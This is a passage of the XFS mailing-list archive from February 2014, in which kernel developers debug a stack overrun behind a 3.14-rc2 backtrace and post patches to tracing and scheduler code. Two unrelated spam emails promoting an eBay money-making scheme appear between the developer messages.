(adding the mcount call before setting up the stack frame), the function tracer can not catch leaf functions, as it is called before the leaf function's frame is set up. Hmm, I wonder if I should add a config to disable fentry and go back to the old mcount that gets called after setting up the stack frame. This will lead to better stack tracing, but you lose out on all the benefits of fentry. -- Steve From peterz@infradead.org Wed Feb 12 07:30:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 43A267F50 for ; Wed, 12 Feb 2014 07:30:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C028DAC001 for ; Wed, 12 Feb 2014 05:30:07 -0800 (PST) X-ASG-Debug-ID: 1392211804-04cb6c6de12f0cf0001-NocioJ Received: from merlin.infradead.org (merlin.infradead.org [205.233.59.134]) by cuda.sgi.com with ESMTP id tCDF3YPiJMl2f1xZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 12 Feb 2014 05:30:04 -0800 (PST) X-Barracuda-Envelope-From: peterz@infradead.org X-Barracuda-Apparent-Source-IP: 205.233.59.134 Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=twins) by merlin.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux)) id 1WDZsx-00034M-NT; Wed, 12 Feb 2014 13:29:55 +0000 Received: by twins (Postfix, from userid 1000) id 73152827835F; Wed, 12 Feb 2014 14:29:52 +0100 (CET) Date: Wed, 12 Feb 2014 14:29:52 +0100 From: Peter Zijlstra To: Steven Rostedt Cc: Linus Torvalds , Dave Chinner , Jens Axboe , Tejun Heo , Dave Jones , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com, Ingo Molnar , Frederic Weisbecker Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212132952.GX27965@twins.programming.kicks-ass.net> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> <20140212063150.GD13997@dastard> <20140212074036.4c6105b5@gandalf.local.home> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212074036.4c6105b5@gandalf.local.home> User-Agent: Mutt/1.5.21 (2012-12-30) X-Barracuda-Connect: merlin.infradead.org[205.233.59.134] X-Barracuda-Start-Time: 1392211804 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 07:40:36AM -0500, Steven Rostedt wrote: > The pt_regs structure. > > That's what? 21 unsigned longs? 21 * 8 = 168. I think that's the > culprit here. > > Peter and Frederic, is there a way not to store that on the stack? Something like so? --- include/trace/ftrace.h | 7 ++++--- kernel/trace/trace_event_perf.c | 5 ++++- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/include/trace/ftrace.h b/include/trace/ftrace.h index 1a8b28db3775..87ae3ef1d278 100644 --- a/include/trace/ftrace.h +++ b/include/trace/ftrace.h @@ -678,7 +678,7 @@ perf_trace_##call(void *__data, proto) \ struct ftrace_event_call *event_call = __data; \ struct ftrace_data_offsets_##call __maybe_unused __data_offsets;\ struct ftrace_raw_##call *entry; \ - struct pt_regs __regs; \ + struct pt_regs *__regs; \ u64 __addr = 0, __count = 1; \ struct task_struct *__task = NULL; \ struct hlist_head *head; \ @@ -697,18 +697,19 @@ perf_trace_##call(void *__data, proto) \ sizeof(u64)); \ __entry_size -= sizeof(u32); \ \ - perf_fetch_caller_regs(&__regs); \ entry = perf_trace_buf_prepare(__entry_size, \ event_call->event.type, &__regs, &rctx); \ if (!entry) \ return; \ \ + perf_fetch_caller_regs(__regs); \ + \ tstruct \ \ { assign; } \ \ perf_trace_buf_submit(entry, __entry_size, rctx, __addr, \ - __count, &__regs, head, __task); \ + __count, __regs, head, __task); \ } /* diff --git a/kernel/trace/trace_event_perf.c b/kernel/trace/trace_event_perf.c index e854f420e033..1885f4aac109 100644 --- a/kernel/trace/trace_event_perf.c +++ b/kernel/trace/trace_event_perf.c @@ -232,8 +232,10 @@ void perf_trace_del(struct perf_event *p_event, int flags) tp_event->class->reg(tp_event, TRACE_REG_PERF_DEL, p_event); } +static DEFINE_PER_CPU(struct pt_regs, tp_regs[4]); + __kprobes void *perf_trace_buf_prepare(int size, unsigned short type, - struct pt_regs *regs, int *rctxp) + struct pt_regs **regs, int *rctxp) { struct trace_entry *entry; unsigned long flags; @@ -252,6 +254,7 @@ __kprobes void *perf_trace_buf_prepare(int size, unsigned short type, if (*rctxp < 0) return NULL; + *regs = this_cpu_ptr(&tp_regs[*rctxp]); raw_data = this_cpu_ptr(perf_trace_buf[*rctxp]); /* zero the dead bytes from align to not leak stack to user */ From davej@redhat.com Wed Feb 12 08:25:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5A6207F50 for ; Wed, 12 Feb 2014 08:25:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 32C8A30407A for ; Wed, 12 Feb 2014 06:25:53 -0800 (PST) X-ASG-Debug-ID: 1392215151-04cb6c6de32f5730001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FgLmyhkqii5qNg4i for ; Wed, 12 Feb 2014 06:25:52 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1CEPkXA026696 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 12 Feb 2014 09:25:47 -0500 Received: from gelk.kernelslacker.org (ovpn-113-176.phx2.redhat.com [10.3.113.176]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1CEPdt9026371 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Feb 2014 09:25:45 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id s1CEPdOd025655; Wed, 12 Feb 2014 09:25:39 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id s1CEPcbZ025648; Wed, 12 Feb 2014 09:25:38 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Wed, 12 Feb 2014 09:25:38 -0500 From: Dave Jones To: Dave Chinner Cc: Al Viro , Linus Torvalds , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212142538.GA11046@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Mail-Followup-To: Dave Jones , Dave Chinner , Al Viro , Linus Torvalds , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com References: <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212061038.GC13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392215152 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Feb 12, 2014 at 05:10:38PM +1100, Dave Chinner wrote: > On Wed, Feb 12, 2014 at 12:50:27AM -0500, Dave Jones wrote: > > On Wed, Feb 12, 2014 at 04:40:43PM +1100, Dave Chinner wrote: > > > > > None of the XFS code disables interrupts in that path, not does is > > > call outside XFS except to dispatch IO. The stack is pretty deep at > > > this point and I know that the standard (non stacked) IO stack can > > > consume >3kb of stack space when it gets down to having to do memory > > > reclaim during GFP_NOIO allocation at the lowest level of SCSI > > > drivers. Stack overruns typically show up with symptoms like we are > > > seeing. > > > .. > > > > > > Dave, before chasing ghosts, can you (like Eric originally asked) > > > turn on stack overrun detection? > > > > CONFIG_DEBUG_STACKOVERFLOW ? Already turned on. > > That only checks stack usage when an interrupt is taken. If no > interrupts are taken when stack usage is within 128 bytes of > overflow, then it doesn't catch it. > > I tend to use CONFIG_DEBUG_STACK_USAGE=y as it records the maximum > stack usage of a process via canary overwrites and it records it in > do_exit(). I had that on too. The only message from it came from quite a while before the trace that happened overnight.. [ 3415.655125] trinity-c0 (4383) used greatest stack depth: 992 bytes left [12900.804230] BUG: sleeping function called from invalid context at mm/mempool.c:203 > I also use the stack tracer to record the largest stack > usage seen so I know exactly what code paths are approaching stack > overruns... I can give that a try later. Dave From sandeen@sandeen.net Wed Feb 12 09:57:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A4E987F54 for ; Wed, 12 Feb 2014 09:57:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6E8008F8039 for ; Wed, 12 Feb 2014 07:57:57 -0800 (PST) X-ASG-Debug-ID: 1392220674-04bdf0121d31f390001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id UKbTF0wX7WFq8UyG for ; Wed, 12 Feb 2014 07:57:55 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7CD5465476D3; Wed, 12 Feb 2014 09:57:54 -0600 (CST) Message-ID: <52FB9A01.8060601@sandeen.net> Date: Wed, 12 Feb 2014 09:57:53 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , Dave Jones , Al Viro , Linus Torvalds , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. In-Reply-To: <20140212061038.GC13997@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392220675 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145054 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/12/14, 12:10 AM, Dave Chinner wrote: > On Wed, Feb 12, 2014 at 12:50:27AM -0500, Dave Jones wrote: >> On Wed, Feb 12, 2014 at 04:40:43PM +1100, Dave Chinner wrote: >> >> > None of the XFS code disables interrupts in that path, not does is >> > call outside XFS except to dispatch IO. The stack is pretty deep at >> > this point and I know that the standard (non stacked) IO stack can >> > consume >3kb of stack space when it gets down to having to do memory >> > reclaim during GFP_NOIO allocation at the lowest level of SCSI >> > drivers. Stack overruns typically show up with symptoms like we are >> > seeing. >> > .. >> > >> > Dave, before chasing ghosts, can you (like Eric originally asked) >> > turn on stack overrun detection? >> >> CONFIG_DEBUG_STACKOVERFLOW ? Already turned on. > > That only checks stack usage when an interrupt is taken. If no > interrupts are taken when stack usage is within 128 bytes of > overflow, then it doesn't catch it. > > I tend to use CONFIG_DEBUG_STACK_USAGE=y as it records the maximum > stack usage of a process via canary overwrites and it records it in > do_exit(). I also use the stack tracer to record the largest stack > usage seen so I know exactly what code paths are approaching stack > overruns... > > Cheers, > > Dave. > I'm not sure if I'm off base here, but maybe this would make sense: check for a corrupted stack in __might_sleep. Compile tested only, possibly inelegant, and/or completely wrong, but: From: Eric Sandeen sched: Test for corrupted task_struct in __might_sleep If a thread overruns the stack, it may corrupt the task_struct, leading to false positives on tests like irqs_disabled(). Warn if this seems to be the case. Signed-off-by: Eric Sandeen --- diff --git a/kernel/sched/core.c b/kernel/sched/core.c index b46131e..6920c3c 100644 --- a/kernel/sched/core.c +++ b/kernel/sched/core.c @@ -6934,6 +6934,8 @@ static inline int preempt_count_equals(int preempt_offset) void __might_sleep(const char *file, int line, int preempt_offset) { + struct task_struct *tsk = current; + unsigned long *stackend; static unsigned long prev_jiffy; /* ratelimiting */ rcu_sleep_check(); /* WARN_ON_ONCE() by default, no rate limit reqd. */ @@ -6952,6 +6954,11 @@ void __might_sleep(const char *file, int line, int preempt_offset) in_atomic(), irqs_disabled(), current->pid, current->comm); + /* A corrupted stack can cause a false positive on irqs_disabled etc */ + stackend = end_of_stack(tsk); + if (tsk != &init_task && *stackend != STACK_END_MAGIC) + printk(KERN_EMERG "Thread overran stack, or stack corrupted\n"); + debug_show_held_locks(current); if (irqs_disabled()) print_irqtrace_events(current); From koolkez3@gmail.com Wed Feb 12 12:57:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3CD597F52 for ; Wed, 12 Feb 2014 12:57:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 20032304067 for ; Wed, 12 Feb 2014 10:57:52 -0800 (PST) X-ASG-Debug-ID: 1392231469-04cb6c6de230e440001-NocioJ Received: from mail-la0-f68.google.com (mail-la0-f68.google.com [209.85.215.68]) by cuda.sgi.com with ESMTP id VUXac4E90MZlPgBK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 12 Feb 2014 10:57:49 -0800 (PST) X-Barracuda-Envelope-From: koolkez3@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.68 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.68] Received: by mail-la0-f68.google.com with SMTP id e16so2156269lan.7 for ; Wed, 12 Feb 2014 10:57:48 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.68] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.68] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=bT+wGzL/llXtUFCloTfQW/9KFoBBnkABgy4ChUyfcTk=; b=khrUFy7IKfLlRkNBV0wsaDHJShqLd4CBSAGBYSOJ8OM8zfjUKR5LNldNUD/xET9vjI HOtNVhyxKhs1QQtzkOfJ2tj/dCVUbjcSSd0Nxw0wxR71Nk415pSy6AwPQ/zC2i8ScGuW M9gKL52D6Fj4jxMqTEKCWJMNJhtJLA7k2jaOGnWPEYMIBvQEtqJVo/5YMUZjlVSlN5Pf neSDrBe6vndTWjyZUn6FU3BbQrZXUTIR99jPjEuZ9KbAnLlpnI7HxgipsGV23nV2PBG7 KTTaDePjpQYKOawGV+WfhN6GuuGUWcuswHUPlSpZegGEtsE4JivppnoQgxq+vxkD4y5m G0Fw== MIME-Version: 1.0 X-Received: by 10.152.170.135 with SMTP id am7mr32191426lac.23.1392225003550; Wed, 12 Feb 2014 09:10:03 -0800 (PST) Received: by 10.112.53.5 with HTTP; Wed, 12 Feb 2014 09:10:03 -0800 (PST) Date: Wed, 12 Feb 2014 12:10:03 -0500 Message-ID: Subject: My '4 Minute' action plan to make you $217 (read now) From: koolkez3 X-ASG-Orig-Subj: My '4 Minute' action plan to make you $217 (read now) To: michael kezelevich Content-Type: multipart/alternative; boundary=089e0122797ac8e1ce04f238a45a X-Barracuda-Connect: mail-la0-f68.google.com[209.85.215.68] X-Barracuda-Start-Time: 1392231469 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA038b, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145057 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 BSF_SC0_SA038b Custom Rule SA038b --089e0122797ac8e1ce04f238a45a Content-Type: text/plain; charset=ISO-8859-1 On Tuesday this last week, I did a little 'eBay listing' video, to show how EASY it could be to make $217 in 4 Minutes Flat.. Basically, it worked like this: 1. I searched for a high selling item on eBay. 2. I then found the item on another site for a lesser price, 3. I listed it on eBay 4. Sold the item and made $217 in 4 Minutes. Watch how I did it Here: ---> http://dsdomination.com/sp/pro?aid=desciple63 I'm telling you, this is Sooo EASY.. Heck, My Mother does it in her spare time.. Talk Soon, -Roger If you no longer wish to receive our emails, reply with your email and I will unsubscribe you DS Domination 7 Ivy Lane Milford, Massachusetts 01757 United States --089e0122797ac8e1ce04f238a45a Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
On Tuesday this last week, I did a little=
'eBay listing' video, to show=A0 how EASY
it could be to mak= e $217 in 4 Minutes Flat..
=A0
Basically, it worked like this:
=A0=
1. I searched for a high selling item on eBay.
2. I then found the item on another site for a lesser price,
3. I listed= it on eBay
4. Sold the item and made $217 in 4 Minutes.
=A0
Watch= how I did it Here:
=A0
---> htt= p://dsdomination.com/sp/pro?aid=3Ddesciple63

I'm telling you, this is Sooo EASY..
=A0
Heck, My Mother does= it in her spare time..
=A0
Talk Soon,
=A0
-Roger

If you no longer wish to receive our emails, reply with y= our email and I will unsubscribe you
DS Domination 7 Ivy Lane Milford, Massachusetts 01757 United States
<= br>
--089e0122797ac8e1ce04f238a45a-- From koolkez7@gmail.com Wed Feb 12 13:46:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 29B707F50 for ; Wed, 12 Feb 2014 13:46:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0D7EE8F804C for ; Wed, 12 Feb 2014 11:46:09 -0800 (PST) X-ASG-Debug-ID: 1392234364-04cb6c6de23120d0001-NocioJ Received: from mail-ob0-f196.google.com (mail-ob0-f196.google.com [209.85.214.196]) by cuda.sgi.com with ESMTP id dMDkl6upWpmqyuAL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 12 Feb 2014 11:46:05 -0800 (PST) X-Barracuda-Envelope-From: koolkez7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.196 Received: by mail-ob0-f196.google.com with SMTP id gq1so3415353obb.3 for ; Wed, 12 Feb 2014 11:46:04 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=bHwsHYkLRH/wrUUSNKjPVHBKIbuQT3YQAn5WhNrARIw=; b=ZqHSBP9JRDgIitCdvKtew8F0CR21CKveyBMfa7yz6NrfItq+tyCuXcgdNxT8B1SyVw 4zFAIOaHXM/HjKAzPKuaQ+IlDHUdjVjxGyiT2N+M3Nw6L1oeAFa6SQyfx1LZTkri76kM vGo5auYfgYSzL4DsoiBlUabQT2gArKoPta+LAEO+yPwkZMH7a85UI7KaCZS0MYNRl3Q3 T1cRuTBjuKq3gVJddXHn3ZJ4XokZsYTSRTBbW+dB67bxpLHY8GujT3xbfk4sHmtZXJk7 rSlixMZ7RuP3PKNy1nYMMS0xnkCAG8Sghsw7bpYWUn3+Jg2JXhuRublLAQ0oTsZO+u// d1mA== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.182.142.5 with SMTP id rs5mr38170809obb.39.1392227274821; Wed, 12 Feb 2014 09:47:54 -0800 (PST) Received: by 10.76.1.179 with HTTP; Wed, 12 Feb 2014 09:47:54 -0800 (PST) Date: Wed, 12 Feb 2014 12:47:54 -0500 Message-ID: Subject: Decide for yourself (after you see the truth)... From: michael kezelevich X-ASG-Orig-Subj: Decide for yourself (after you see the truth)... To: KOOLKez2@yahoo.com Content-Type: multipart/alternative; boundary=001a11c2d3b629b40c04f2392c4f X-Barracuda-Connect: mail-ob0-f196.google.com[209.85.214.196] X-Barracuda-Start-Time: 1392234365 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145058 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c2d3b629b40c04f2392c4f Content-Type: text/plain; charset=ISO-8859-1 If you want to.... Or have been trying to.... Create a profitable and successful online business, but haven't been successful yet.. It's not your fault, here's why.. and it's probably not what you think. IT'S NOT because you've been following the wrong "guru".. Or because you're not capable of making it happen. NO! It's much more simple than that, if you can follow simple instruction. So, the question then becomes.... Do you want to continue wasting years of your life and countless dollars on the next best gimmick hoping that it works? Or, are you FINALLY READY for a 'plug and play' system that's so simple anyone can do and will never require you to set-up, take down or trouble shoot anything. If the latter sounds attractive, you're probably as much as an entrepreneur as the rest of the DS Domination members. You probably shouldn't be wasting your time or trying to figure out mind numbing technical issues. You should be Listing Items on eBay. You should be making Sales. You should be Living Your Life. Good News! You can be. And the choice is yours. Isn't that nice? http://dsdomination.com/sp/pro?aid=desciple63 To Your Success, Your DS Domination Team. P.S. In case you haven't heard :) We have helped HUNDREDS of people just like you FIRE their Bosses.... .....many in their first 60 Days Isn't that refreshing? Over 12,000 other people think so. http://dsdomination.com/sp/pro?aid=desciple63 If you no longer wish to receive emails just reply with your email and I will unsubscribe you. DS Domination 7 Ivy Lane Milford, Massachusetts 01757 United States --001a11c2d3b629b40c04f2392c4f Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
If you want to....
=A0
Or have been= trying to....
=A0
Create a profitable and successful online
busin= ess, but haven't been successful yet..
=A0
It's not your faul= t, here's why.. and it's
probably not what you think.
IT'S NOT because you've been follow= ing
the wrong "guru"..
=A0
Or because you're not cap= able of making
it happen.
=A0
NO!
=A0
It's much more sim= ple than that,
if you can follow simple instruction.
=A0
So, the question then becom= es....
=A0
Do you want to continue wasting years of
your life and = countless dollars on the
next best gimmick hoping that it works?
=A0<= br> Or, are you FINALLY READY for a 'plug
and play' system that'= s so simple anyone can
do and will never require you to set-up, take
= down or trouble shoot anything.
=A0
If the latter sounds attractive, = you're probably
as much as an entrepreneur as the rest of the
DS Domination members.
= =A0
You probably shouldn't be wasting your time
or trying to figu= re out mind numbing technical issues.
=A0
You should be Listing Items= on eBay.
=A0
You should be making Sales.
=A0
You should be Living Your Life= .
=A0
Good News!
=A0
You can be.
=A0
And the choice is yo= urs.
=A0
Isn't that nice?

http://dsdomination.com/sp/pro?aid=3Ddesciple63

=A0To Your Success,
=A0
Your DS Domination Team.
=A0
P.S. I= n case you haven't heard :) We have helped
HUNDREDS of people just l= ike you FIRE their Bosses....
=A0
.....many in their first 60 Days=A0
Isn't that refreshing?
=A0
Over 12,000 other people think so.
=
http://dsdo= mination.com/sp/pro?aid=3Ddesciple63

If you no = longer wish to receive emails just reply with your email and I will unsubsc= ribe you.

DS Domination 7 Ivy Lane Milford, Massachusetts 01757 United States

--001a11c2d3b629b40c04f2392c4f-- From linus971@gmail.com Wed Feb 12 14:13:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1DAB67F50 for ; Wed, 12 Feb 2014 14:13:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9326EAC007 for ; Wed, 12 Feb 2014 12:13:21 -0800 (PST) X-ASG-Debug-ID: 1392235999-04cbb00c2b30fa30001-NocioJ Received: from mail-ve0-f174.google.com (mail-ve0-f174.google.com [209.85.128.174]) by cuda.sgi.com with ESMTP id OtDt6hDplwCuMysT (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 12 Feb 2014 12:13:20 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.174] Received: by mail-ve0-f174.google.com with SMTP id pa12so7615060veb.5 for ; Wed, 12 Feb 2014 12:13:19 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=xfDgFQJobIJyxmGf0r7sekaEYJorCdqYs4kFM9Zhno4=; 